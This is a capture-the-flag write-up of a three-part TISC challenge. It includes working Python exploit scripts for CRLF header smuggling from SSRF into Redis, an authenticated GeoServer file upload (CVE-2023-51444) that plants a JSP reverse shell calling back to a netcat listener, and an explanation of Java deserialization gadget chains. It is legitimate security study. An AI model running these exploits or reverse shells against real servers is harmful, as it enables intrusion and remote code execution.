This is a 3-part challenge that requires chaining of exploits from each part to get to the final flag. Part 1 is a typical PHP/Redis web challenge. Part 2 is an n-day challenge on a GeoServer web server. Part 3 is a novel Java deserialization gadget chain exploit.
The challenge spins up a series of Docker containers on the same network.
web
: A PHP serverredis
: Redis cache to back the PHP servergeo
: A GeoServer server, an open source server for sharing geospatial dataworker
: Python helper for theweb
service to communicate togeo
the-eye
: Java program enabling access to the Part 1 and Part 2 flags
Part 1: PHP
The first part of the challenge is getting the /poll
PHP endpoint to return the flag. This requires passing some checks.
We must first submit a payload at /submit
. This calculates hash = sha512(secret || payload)
where secret
is a known constant. It then generates a geospatial vector from the hash
. The vector is sent to the GeoServer server, which calculates the perimeter of the polygon represented by the vector. If the calculated perimeter is zero, the PHP server returns the flag.
1
2
3
4
5
6
7
8
9
10
11
12
1. Send payload to /submit
2. PHP Server calculates hash and checks suffix
3. PHP Server generates a vector from the hash
4. PHP Server writes the vector and its name to Redis via pub/sub
5. PHP server returns the name to client
6. Python helper reads the vector and its name from Redis in pub/sub mode
7. Python helper sends the vector and its name to GeoServer
8. GeoServer calculates distances corresponding to the vector
9. GeoServer writes distance to Redis, using the name as the keyname
10. Send request to /poll with a specific name
11. PHP server looks up keyname in Redis cache
12. If the associated distance is zero, return flag
If we can specify an arbitrary hash, it would be easy to a vector that describes a polygon with zero length. However, the PHP server calculates the hash from a plaintext payload, and then checks that the hash ends with 6 zeros. This prevents us from specifying arbitrary hashes, as we cannot invert the hashing. Effectively, the supplied generated geospatial vector will turn out to be random, which leaves a very low chance that the described polygon has zero length.
The server exposes another endpoint: /check
. This acts as a HTTP request forwarder with some restrictions.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
$json = file_get_contents('php://input');
$data = json_decode($json, true);
header('Content-Type: application/json');
$result = array(
"result" => false
);
if (!isset($data["t"]) || !isset($data["h"])) {
echo json_encode($result);
return;
}
$t = $data["t"];
$h = $data["h"];
if (!str_starts_with($t, "http://")) {
echo json_encode($result);
return;
}
# Smuggling not allowed, find something else.
$d = array('content-type', 'host', 'x-forwarded-for', 'transfer-encoding', 'upgrade', 'referrer');
$nh = array();
foreach ($h as $x => $y) {
if (!is_string($x) || !is_string($y)) {
echo json_encode($result);
return;
}
$u = strtolower(trim($x));
if (in_array($u, $d) ) {
echo json_encode($result);
return;
}
$v = strtolower(trim($y));
foreach ($d as $k) {
if (str_contains($v, $k)) {
echo json_encode($result);
return;
}
}
array_push($nh, $u . ": " . $y);
}
$c = stream_context_create(array(
"http" => array(
"ignore_errors" => true,
"header" => implode("\r\n", $nh)
)
));
$response = @file_get_contents($t, false, $c);
if ($response) {
$result["result"] = true;
}
echo json_encode($result);
return;
?>
The PHP code will make a HTTP request to our supplied URL, with our supplied headers, using @file_get_contents()
. It also checks that the supplied headers are not part of a blacklist ('content-type', 'host', 'x-forwarded-for', 'transfer-encoding', 'upgrade', 'referrer')
. This endpoint will allow us to send HTTP requests to the internal Docker network and interact with the other services.
The exploit idea is intuitive: try to send a request to the Redis server directly. Recall that the /poll
endpoint returns the flag after looking up the distance stored in the Redis cache. So, if we can interact with the Redis server and force it to create an entry with zero distance, we can obtain the flag.
SSRF to Redis exploitation is a known technique, where we exploit SSRF by smuggling Redis commands into HTTP request headers. Consider a usual HTTP request.
1
2
GET / HTTP/1.1
Host: 127.0.0.1
When sent to a Redis server, the Redis parser treats each line as a separate Redis command. The Redis protocol uses CRLF (\r\n
) which is the same as used by the HTTP protocol. With the above request, the Redis server treats the first line as a GET
command.
If we can inject arbitrary content into the HTTP request, we can insert a SET
command to create a fake distance entry. Let’s look at the PHP code again.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$h = $data["h"]; // supplied headers
// ...
$nh = array();
foreach ($h as $x => $y) {
// ...
$u = strtolower(trim($x)); // header name
// ...
array_push($nh, $u . ": " . $y); // $y = header value
}
$c = stream_context_create(array(
"http" => array(
"ignore_errors" => true,
"header" => implode("\r\n", $nh)
)
));
$response = @file_get_contents($t, false, $c);
The server creates an array of headers ["key1: val1", "key2: val2"]
from the user-supplied headers. The array elements are then joined with a CRLF, and passed as the header
field to a stream_context_create()
call, which is then used in the @file_get_contents()
call. This results in a HTTP request that looks like this:
1
2
3
4
GET / HTTP/1.1
Host: 127.0.0.1
key1: val1
key2: val2
However, the server does not sanitize for CRLF values in the header values. Instead of val1
, we can smuggle val1\r\nhiddenkey hiddenval
, which will result in this HTTP request:
1
2
3
4
5
GET / HTTP/1.1
Host: 127.0.0.1
key1: val1
hiddenkey hiddenval
key2: val2
We can use this to inject a SET
command. Notice that we can’t supply a SET
header directly because the server would insert a colon after the header name, resulting in a syntax error.
However, Redis added mitigations against this class of SSRF attacks in 2017 (see: Smarx CTF challenge). Redis will terminate a connection when it sees a POST
or Host:
command. Since the Host
header comes before all our supplied headers, the connection is terminated before Redis can process our injected SET
command.
Luckily, we can make the Host
header come after our supplied headers by specifying our own Host
header. Supplying the headers ["key1: val1", "Host: 127.0.0.1"]
will override the default Host
header, and PHP will respect its relative position to the rest of the user-supplied headers. Again, we can smuggle the SET
command after val1
, and it will appear before Host
.
The final problem is that the server sanitizer blocks the header name Host
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Smuggling not allowed, find something else.
$d = array('content-type', 'host', 'x-forwarded-for', 'transfer-encoding', 'upgrade', 'referrer');
$nh = array();
foreach ($h as $x => $y) {
if (!is_string($x) || !is_string($y)) {
echo json_encode($result);
return;
}
$u = strtolower(trim($x)); // $x is supplied header name
if (in_array($u, $d) ) { // found in blacklist
echo json_encode($result);
return; // early termination
}
$v = strtolower(trim($y)); // $y is supplied header value
foreach ($d as $k) { // for all blacklisted headers
if (str_contains($v, $k)) { // check it is not in the value
echo json_encode($result);
return;
}
}
To get around this, we can use the CRLF trick again. This time, we smuggle the Host
header into another header’s name since we can’t put it in the header value.
Final exploit script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from requests import *
import json
import hashlib
s = Session()
url = "http://chals.tisc25.ctf.sg:45179/"
r = s.post(url + "/api/check.php", json={
"t": "http://redis:6379",
"h": {
"abc": "42\r\nSET attempt_bob 0",
"Hack: a\r\nHost": "redis:6379",
}
})
print(r.text)
r = s.post(url + "/api/poll.php", json={"h": "attempt_bob"})
print(r.text)
Flag: TISC{d0nt_l00k_aw4y_0r_1t5_g0n3_ea98b517efe292de1b3663a892c384c5}
Part 2: GeoServer
The next part of the challenge is to get the GeoServer flag. GeoServer is an open-source server for sharing, processing, and editing geospatial data. It is provided as a Java binary in the geo
container. There are three main ways to interact with GeoServer. One, there is a browser-based web admin interface. Two, there is a REST API that supports most of the actions the browser-based interface allows. Three, there are service endpoints which are used by applications – this is what the Python helper used in Part 1.
There is another binary on the geo
container that will make the necessary requests to the-eye
container to retrieve the geo
flag. So, it seems that we need to obtain RCE on GeoServer and run the binary.
Firstly, we must be able to communicate freely with the GeoServer server. Currently, our only means of interacting with it is via the Python helper, which only supports the single service endpoint. We can extend our original header smuggling technique to smuggle whole requests! This is a known bug in PHP @file_get_contents()
since 2021.
1
2
3
4
5
6
7
8
r = s.post(url + "/api/check.php", json={
"t": "http://geo:8080/geoserver",
"h": {
"Connection": "keep-alive",
"Host: 127.0.0.1:8501\r\nabc": "42\r\n\r\nPOST /geoserver/rest/workspaces HTTP/1.1",
"Host: 127.0.0.1:8501\r\nContent-Type: application/xml\r\nContent-Length: 46\r\nAuthorization": "Basic R0VPU0VSVkVSX0FETUlOX1VTRVI6R0VPU0VSVkVSX0FETUlOX1BBU1NXT1JE\r\n\r\n" + "<workspace><name>" +workspace_name+ "</name></workspace>\r\n"
}
})
This payload smuggles a POST request to GeoServer REST API and supplies a bearer token for authentication
Next, let’s explore possible RCE paths. Here’s the geo
Dockerfile:
1
2
3
4
5
6
7
8
9
10
11
FROM kartoza/geoserver:2.20.3
...
# Apply some patches to fix complex numbers.
RUN wget -O /tmp/download.zip https://sourceforge.net/projects/geoserver/files/GeoServer/2.20.4/geoserver-2.20.4-patches.zip/download
RUN unzip /tmp/download.zip
RUN mv gt-app-schema-26.4.jar /usr/local/tomcat/webapps/geoserver/WEB-INF/lib/gt-app-schema-26.3.jar
RUN mv gt-complex-26.4.jar /usr/local/tomcat/webapps/geoserver/WEB-INF/lib/gt-complex-26.3.jar
RUN mv gt-xsd-core-26.4.jar /usr/local/tomcat/webapps/geoserver/WEB-INF/lib/gt-xsd-core-26.3.jar
RUN rm /tmp/download.zip
...
The challenge uses version 2.20.3 of GeoServer, which is extremely old. The latest version is 2.27.2, with 2.20.x reaching EOL in September 2022. The patches in the Dockerfile patch the most famous GeoServer RCE vulnerability, CVE-2024-36401, following the instructions in the remediation guide. Luckily, there are plenty of other vulnerabilities in GeoServer so we can simply pick a public PoC and adapt it for the challenge version.
For my exploit, I used CVE-2023-51444 which gives arbitrary file upload via directory traversal. Despite being an older vulnerability than the one the Dockerfile patch fixes, the challenge version was already EOL by then so it did not receive a patch (I suppose this vulnerability was deemed less severe than the 2024 RCE). The Github advisory contains a PoC, but we have to tweak it a little to work with the older challenge version.
Pulling the older version of the repository and rebuilding the documentation proved to be very useful. It helped me to identify discrepancies between the old API and the modern API, so that I could tweak the PoC accordingly.
Here are the three requests needed:
1
2
3
4
5
6
7
8
POST /geoserver/rest/workspaces
Data: <workspace><name>SOME_WORKSPACE_NAME</name></workspace>
PUT /geoserver/rest/workspaces/SOME_WORKSPACE_NAME/coveragestores/SOME_STORE_NAME/external.imagemosaic
Data: file:///usr/local/tomcat/webapps/examples
POST /geoserver/rest/workspaces/SOME_WORKSPACE_NAME/coveragestores/SOME_STORE_NAME/file.shp?filename=SOME_FILENAME
Data: FILE_DATA
The first request creates a new workspace. The second request creates a new coverage store by specifying the location of its raster data files. Specifically, this configures an “imagemosaic” coverage store and tells GeoServer to look for the data files at that absolute file path (this can be any path as long as GeoServer can access it). The third and final request uploads a file with the specified filename with the supplied file data. The path in the filename is treated as relative to the absolute file path, allowing for arbitrary file creation.
Since we can upload arbitrary files, we can simply upload a jsp reverse shell into the Apache server’s webapps
directory. Then, visiting it (via the web
proxy) will trigger the reverse shell and grant RCE.
One final bit to note is that the REST API endpoints are only available to authenticated users. To authenticate, we need to find out the admin’s username and password to put in a bearer token. The Dockerfile is based on the kartoza repository, which has a default admin username/password. The challenge does not overwrite this default, so we can simply use the default credentials to authenticate. However, due to a known bug in the setup, the default credentials is actually literally GEOSERVER_ADMIN_USER:GEOSERVER_ADMIN_PASSWORD
instead of their environment values.
Exploit script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from requests import *
import json
import hashlib
import random
import string
import urllib.parse
from threading import Thread
from pwn import *
from solve3 import solve3
s = Session()
url = "http://chals.tisc25.ctf.sg:45179/"
my_ip = "redacted"
my_port = "8000"
def random_string(length=8):
return ''.join(random.choices(string.ascii_letters, k=length))
def exploit(payload=None):
global my_port
context.log_level = "debug"
p = process(["nc", "-nvlp", my_port])
p.recvline_contains(b"Connection received on")
p.sendline(b"whoami && pwd")
assert p.recvline().strip() == b"geoserveruser"
if payload is None:
p.interactive()
else:
payload(p)
p.close()
def solve2(p):
p.sendline(b"/readflag")
print(p.recvline_contains(b"TISC"))
thread = Thread(target = exploit, args = (solve2,))
thread.start()
time.sleep(1)
workspace_name = random_string(10)
store_name = random_string(6)
filename = "super_duper_secret_shell_xd.jsp"
# https://github.com/LaiKash/JSP-Reverse-and-Web-Shell/blob/main/shell.jsp
payload = r"""
<truncated - refer to URL above>
"""
payload = payload.strip()
payload = hex(len(payload))[2:] + "\r\n" + payload + "\r\n0\r\n\r\n"
if True:
# setup reverse shell
# Payload 1
r = s.post(url + "/api/check.php", json={
"t": "http://geo:8080/geoserver",
"h": {
"Connection": "keep-alive",
"Host: 127.0.0.1:8501\r\nabc": "42\r\n\r\nPOST /geoserver/rest/workspaces HTTP/1.1",
"Host: 127.0.0.1:8501\r\nContent-Type: application/xml\r\nContent-Length: 46\r\nAuthorization": "Basic R0VPU0VSVkVSX0FETUlOX1VTRVI6R0VPU0VSVkVSX0FETUlOX1BBU1NXT1JE\r\n\r\n" + "<workspace><name>" +workspace_name+ "</name></workspace>\r\n"
}
})
print(r.text)
assert json.loads(r.text)["result"] == True
# Payload 2
r = s.post(url + "/api/check.php", json={
"t": "http://geo:8080/geoserver",
"h": {
"Connection": "keep-alive",
"Host: 127.0.0.1:8501\r\nabc": "42\r\n\r\nPUT /geoserver/rest/workspaces/"+workspace_name+ "/coveragestores/" +store_name+"/external.imagemosaic HTTP/1.1",
"Host: 127.0.0.1:8501\r\nContent-Type: text/plain\r\nContent-Length: 41\r\nAuthorization": "Basic R0VPU0VSVkVSX0FETUlOX1VTRVI6R0VPU0VSVkVSX0FETUlOX1BBU1NXT1JE\r\n\r\n" + "file:///usr/local/tomcat/webapps/examples\r\n"
}
})
print(r.text)
assert json.loads(r.text)["result"] == True
# Payload 3
r = s.post(url + "/api/check.php", json={
"t": "http://geo:8080/geoserver",
"h": {
"Connection": "keep-alive",
"Host: 127.0.0.1:8501\r\nabc": "42\r\n\r\nPOST /geoserver/rest/workspaces/"+workspace_name+"/coveragestores/"+store_name+"/file.shp?filename="+filename+" HTTP/1.1",
"Host: 127.0.0.1:8501\r\nContent-Type: application/zip\r\nTransfer-Encoding: chunked\r\nAuthorization": "Basic R0VPU0VSVkVSX0FETUlOX1VTRVI6R0VPU0VSVkVSX0FETUlOX1BBU1NXT1JE",
"t": "t\r\n\r\n" + payload
}
})
print(r.text)
# Trigger reverse shell
r = s.post(url + "/api/check.php", json={
"t": f"http://geo:8080/examples/" + filename,
"h": {}
})
print(r.text)
Flag: TISC{4r0und_th3_Un1v3r53_l1k3_4_r1_4x1s_cf47f7e49c6da010561866cda8f7d1c1}
There is an even simpler vulnerability, CVE-2023-41877, that allows arbitrary file upload. This vulnerability relies on directory traversal by exploiting the log file path instead of the coverage store. Unfortunately, this requires the use of the Admin UI for setting the log file path. The Admin UI uses session tokens for authentication, which we have no way of leaking via the smuggled PHP requests. We can only send REST API requests that use bearer tokens, which we can prepare ahead of time. Interestingly, there is a REST API for setting the log file path in modern GeoServer versions but it was introduced after the challenge version.
Part 3: Java Deserialization
The final part of the challenge requires us to get RCE on the-eye
server. This is a Java Spring server that supports de/serialization of a custom Token class. With our reverse shell on geo
, we can send arbitrary requests to the-eye
.
The Token
class is simple.
1
2
3
4
5
6
public class Token {
private String scope;
private UUID magic;
private HashMap<String, Object> properties;
// ...
These are the deserialization methods:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private static final List<String> MISSED_COLLECTION_CLASSES = Arrays.asList("Unmodifiable", "Synchronized",
"Checked");
public static Token deserializeFromBytes(byte[] data) throws IOException, ClassNotFoundException {
byte[] decompressed = Snappy.uncompress(data);
Input input = new Input(decompressed);
Kryo kryo = createKryo();
return kryo.readObject(input, Token.class);
}
public static Kryo createKryo() {
Kryo kryo = new Kryo();
kryo.setRegistrationRequired(false);
kryo.setReferences(false);
try {
Class<?>[] f = Collections.class.getDeclaredClasses();
Arrays.stream(f)
.filter(cls -> MISSED_COLLECTION_CLASSES.stream().anyMatch(s -> cls.getName().contains(s)))
.forEach(cls -> kryo.addDefaultSerializer(cls, new JavaSerializer()));
} catch (Exception e) {
e.printStackTrace();
}
kryo.addDefaultSerializer(UUID.class, new DefaultSerializers.UUIDSerializer());
kryo.addDefaultSerializer(URI.class, new DefaultSerializers.URISerializer());
kryo.addDefaultSerializer(Pattern.class, new DefaultSerializers.PatternSerializer());
kryo.addDefaultSerializer(AtomicBoolean.class, new DefaultSerializers.AtomicBooleanSerializer());
kryo.addDefaultSerializer(AtomicInteger.class, new DefaultSerializers.AtomicIntegerSerializer());
kryo.addDefaultSerializer(AtomicLong.class, new DefaultSerializers.AtomicLongSerializer());
kryo.addDefaultSerializer(AtomicReference.class, new DefaultSerializers.AtomicReferenceSerializer());
return kryo;
}
The server will deserialize the user-supplied token using Kryo, falling back to the default JavaSerializer()
for the three specific collection classes. It seems likely for the exploit to target the Java deserializer and not the Kryo deserializer, otherwise the inclusion of the fallback in this challenge would not be necessary.
The challenge can be stated simply: achieve RCE via a Java deserialization exploit. The difficulty lies in the set-up. The Java server is running JDK21, where many classic exploit techniques are blocked. Furthermore, the challenge uses modern versions of its Spring dependencies, where many public gadgets have been patched. Because of these settings, just using ysoserial
won’t cut it.
1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>6.2.8</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.24</version>
</dependency>
My experience with Java deserialization exploits in CTFs was limited to using existing gadget chains from
ysoserial
. I’ve never had to create a novel gadget chain from scratch. From my research, such CTF challenges are actually quite rare outside of Chinese CTFs. This challenge pushed me to understand how these gadget chains actually work. There aren’t many English write-ups about modern techniques, so I’ll provide my own explanation here.
Modern Java deserialization exploits
In Java, only classes that implement the Serializable
interface can be serialized and deserialized. Consider the following class:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Person implements Serializable {
private String name;
private transient String password;
public Person(String name, String password) {
this.name = name;
this.password = password;
}
// Custom deserialization logic
private void readObject(ObjectInputStream ois)
throws IOException, ClassNotFoundException {
// Perform default deserialization
ois.defaultReadObject();
System.out.println("Custom readObject() called.");
this.password = "DEFAULT_PASSWORD";
}
}
The class Person
implements the Serializable
interface. It has two private fields, with the password
field being marked transient
. Transient fields are not serialized. This is useful for classes that contain objects that cannot be serialized. The Person
class also defines a custom readObject()
function. During deserialization, the JVM looks for this custom function. If it exists, it calls it to perform custom logic. In this case, the readObject()
function prints out a message and re-initializes the transient password
field.
The idea behind sources in gadget chains is classes perform some interesting functionality in their readObject()
implementation. For instance, consider the following classes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Person implements Serializable {
private String name;
private String nickname;
private transient String password;
private transient Helper helper;
private void readObject(ObjectInputStream ois)
throws IOException, ClassNotFoundException {
ois.defaultReadObject();
System.out.println("Custom readObject() called.");
this.helper = new Helper(name, nickname);
this.password = "password_" + helper;
}
}
The readObject()
implementation creates a new Helper
object, and implicitly calls its .toString()
method when concatenating it to a string.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Helper {
private String name;
private String nickname;
Helper(String name, String nickname) {
this.name = name;
this.nickname = nickname;
}
@Override
public String toString() {
ReflectiveExecutor.runReflective(this.name, this.nickname);
return this.name + "secret";
}
}
The Helper
class’s toString()
implementation calls the ReflectiveExecutor::runReflective()
method.
1
2
3
4
5
6
7
8
9
10
11
12
13
class ReflectiveExecutor {
public static void runReflective(String className, String methodName) {
try {
// Load class dynamically
Class<?> clazz = Class.forName(className);
Method method = clazz.getDeclaredMethod(methodName);
method.setAccessible(true);
method.invoke(null);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Finally, ReflectiveExecutor::runReflective()
reflectively executes a method based on the supplied parameters.
In this case, the Person
class is the source. It calls .toString()
on a different object. Sources typically call Object methods like toString()
, hashCode()
or equals()
. The chain continues into the .toString()
implementation in the Helper
class. This then calls the ReflectiveExecutor::runReflective()
, which is the sink. In gadget chains, the sinks complete the exploitation process. A common sink is reflective method invocation, as shown, which allows for RCE by calling the runtime.exec()
function. Another common sink is JNDI look-up, which causes execution of Java code supplied by an attacker-controlled server.
It is easy to spot the gadget chain in this example. However, mining for gadgets becomes a lot more challenging in a larger codebase, where gadget chains are longer and there aren’t as many easy gadgets. Naturally, different Java modules will contain different gadgets based on the classes defined in those modules. Tools like ysoserial
have gadget chains for various common modules, like Apache CommonsCollections and Spring. Unfortunately, these chains are extremely old and won’t work for this challenge.
In the next few sections, I’ll explain some of the patches in modern JDK versions while introducing the necessary gadgets to understand the final exploit chain.
Sources
Let’s begin our study by examining one technique that no longer works: BadAttributeValueExpException
. This is a classic gadget in the standard library, used to go from readObject()
to a toString()
call on an arbitrary object. This will trigger a gadget that has interesting behaviour in its toString()
function.
Here is the relevant source code in JDK 11:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class BadAttributeValueExpException extends Exception {
private Object val;
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
}
// ...
The class inherits from Exception
, which implements the Serializable
interface. It contains an arbitrary Object val
. When it is deserialized, the custom readObject()
function converts the val
to a string using .toString()
.
Unfortunately, this gadget is blocked in JDK 17.
1
2
3
4
5
6
7
8
9
10
11
public class BadAttributeValueExpException extends Exception {
private String val;
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj instanceof String || valObj == null) {
val = (String)valObj;
}
// ...
The field val
is no longer an Object
, so we cannot use this gadget to obtain a .toString()
call.
On modern JDK, there exist other gadgets for obtaining a .toString()
call. The most famous of these gadgets is the XString
gadget. However, these gadgets rely on libraries that the challenge does not use, so they are not applicable to us.
Another useful class of source gadgets are ones that go from readObject()
to a getter call. Java classes commonly use getter methods to expose private fields, and follow the naming convention getPropertyName()
. A well-known instance of this gadget class is the PriorityQueue-BeanComparator chain.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class PriorityQueue<E> extends AbstractQueue<E>
implements java.io.Serializable {
/**
* Priority queue represented as a balanced binary heap: the two
* children of queue[n] are queue[2*n+1] and queue[2*(n+1)]. The
* priority queue is ordered by comparator, or by the elements'
* natural ordering, if comparator is null: For each node n in the
* heap and each descendant d of n, n <= d. The element with the
* lowest value is in queue[0], assuming the queue is nonempty.
*/
transient Object[] queue; // non-private to simplify nested class access
private final Comparator<? super E> comparator;
// ...
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Object[].class, size);
final Object[] es = queue = new Object[Math.max(size, 1)];
// Read in all elements.
for (int i = 0, n = size; i < n; i++)
es[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
// ...
The PriorityQueue
object contains a comparator
object, which implements the Comparator
interface. When the PriorityQueue
is deserialized, it reconstructs its internal queue, then calls heapify()
to reconstruct the binary heap. heapify()
uses the comparator
object to do this.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void heapify() {
final Object[] es = queue;
int n = size, i = (n >>> 1) - 1;
final Comparator<? super E> cmp;
if ((cmp = comparator) == null)
for (; i >= 0; i--)
siftDownComparable(i, (E) es[i], es, n);
else
for (; i >= 0; i--)
siftDownUsingComparator(i, (E) es[i], es, n, cmp); // CALL here
}
private static <T> void siftDownUsingComparator(
int k, T x, Object[] es, int n, Comparator<? super T> cmp) {
// assert n > 0;
int half = n >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = es[child];
int right = child + 1;
if (right < n && cmp.compare((T) c, (T) es[right]) > 0) // CALL here
c = es[child = right];
if (cmp.compare(x, (T) c) <= 0)
break;
es[k] = c;
k = child;
}
es[k] = x;
}
This triggers the call chain: heapify() -> siftDownUsingComparator() -> Comparator::compare()
. Consider when the comparator
object is a BeanComparator
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class BeanComparator<T, V> implements Comparator<T>, Serializable {
// ...
private String property;
// ...
public int compare(final T o1, final T o2) {
if (property == null) {
// compare the actual objects
return internalCompare(o1, o2);
}
try {
final Object value1 = PropertyUtils.getProperty(o1, property);
final Object value2 = PropertyUtils.getProperty(o2, property);
return internalCompare(value1, value2);
} catch (final NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
throw new RuntimeException(e.getClass().getSimpleName()+": " + e.toString());
}
}
// ...
The BeanComparator
compares two objects by comparing a property of theirs. This property is based on the field property
. The PropertyUtils.getProperty()
call then reflectively calls the getter for that property, effectively calling o1.getPropertyName()
, where PropertyName
is the value of the property
field.
Recall that the objects passed to the BeanComparator::compare()
function are passed in during the deserialization of PriorityQueue
. We have full control over these objects. We also have full control over the property
field in the BeanComparator
. This two capabilities allow us to call an arbitrary getter on an arbitrary object.
It may still seem unclear as to why we would ever want to call .toString()
or .getXXX()
or some other object. The reason for doing so depends on the gadget chain. If the author finds a useful gadget chain that can only be triggered from a getter call, then they would want a source gadget that makes that call. For brevity, I won’t go into details about any of these gadget chains – there are many examples online if you are interested.
Proxies
Another common piece of gadget chains are proxies. Proxy objects act as surrogates for the real object. The purpose of a proxy is to control access to the real object and to add additional functionality before or after requests are forwarded to the real object. It is exactly this additional functionality that makes proxies a useful part of gadget chains.
Here is what a proxy looks like. We first create a proxy object using Proxy.newProxyInstance(...)
, passing in a series of interfaces and an InvocationHandler
object. At runtime, the JVM creates a proxy class that implements all those interfaces. Furthermore, all its methods are overridden, with method calls delegated to a special handler – the InvocationHandler
object. The InvocationHandler
is used to inject additional functionality. Each of the overridden methods calls InvocationHandler.invoke()
, passing in the method name and the parameters.
One classic chain that uses proxies is the CommonsCollections1
chain in ysoserial
. Here the goal is to call LazyMap.get()
(which will subsequently call other gadgets). To do so, we can utilize the AnnotationInvocationHandler
class.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Map<String, Object> memberValues;
// ...
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
int parameterCount = method.getParameterCount();
// Handle Object and Annotation methods
if (parameterCount == 1 && member == "equals" &&
method.getParameterTypes()[0] == Object.class) {
return equalsImpl(proxy, args[0]);
}
if (parameterCount != 0) {
throw new AssertionError("Too many parameters for an annotation method");
}
if (member == "toString") {
return toStringImpl();
} else if (member == "hashCode") {
return hashCodeImpl();
} else if (member == "annotationType") {
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
// ...
This class implements the InvocationHandler
interface and contains a Map memberValues
field. Because LazyMap
extends Map
, we can store a LazyMap
object in the memberValues
field. The invoke()
call on the AnnotationInvocationHandler
eventually calls memberValues.get(member)
, giving us the LazyMap.get()
call we need to continue the gadget chain.
LazyMap
is part of the Apache Commons Collections library, which the challenge does not use. So, this gadget chain does not work. However, the utilization of proxies will come in useful later.
Sinks
A common way for gadget chains to end is via a no-argument reflective method invocation or a getter call (recall the PriorityQueue-BeanComparator chain from before). In the former case, without the ability to pass arguments, we cannot run system commands with runtime.exec("cat /etc/shadow");
. In the latter case, it can be difficult to find a getter that leads directly to RCE. The solution to both of these problems is the incredibly useful sink: TemplatesImpl
(see: Tomas Tulka’s write-up).
This gadget can be found in the Java standard library.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public final class TemplatesImpl implements Templates, Serializable {
private byte[][] _bytecodes = null;
// ...
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
The call chain starts at the getter function getOutputProperties()
, then follows into
getOutputProperties() -> newTransformer() -> getTransletInstance() -> _class[_transletIndex].getConstructor().newInstance()
, with the final call dynamically loading a class at runtime with a user-supplied bytecode. Because the bytecode is a field, we do not need to pass the initial function any arguments. The loaded class can contain static initializers, which will execute arbitrary code when initialized.
Clearly, this is an extremely versatile gadget. Unfortunately, it has been mitigated in modern JDKs. From JDK 17 onwards, strong encapsulation is enforced (this Oracle blog post does a good job of explaining the motivation behind the change). From the migration docs:
Some tools and libraries use reflection to access parts of the JDK that are meant for internal use only. This use of reflection negatively impacts the security and maintainability of the JDK. To aid migration, JDK 9 through JDK 16 allowed this reflection to continue, but emitted warnings about illegal reflective access. However, JDK 17 is strongly encapsulated, so this reflection is no longer permitted by default. Code that accesses non-public fields and methods of java.* APIs will throw an InaccessibleObjectException.
The TemplatesImpl
gadget lives in com.sun.org.apache.xalan.internal.xsltc.trax
, which is in java.xml
module. Since the java.xml
module does not export com.sun.org.apache.xalan.internal.xsltc.trax
, the TemplatesImpl
gadget remains inaccessible from reflective calls in external modules. Thus, it can no longer be used as the sink gadget in chains that end with reflective method invocation.
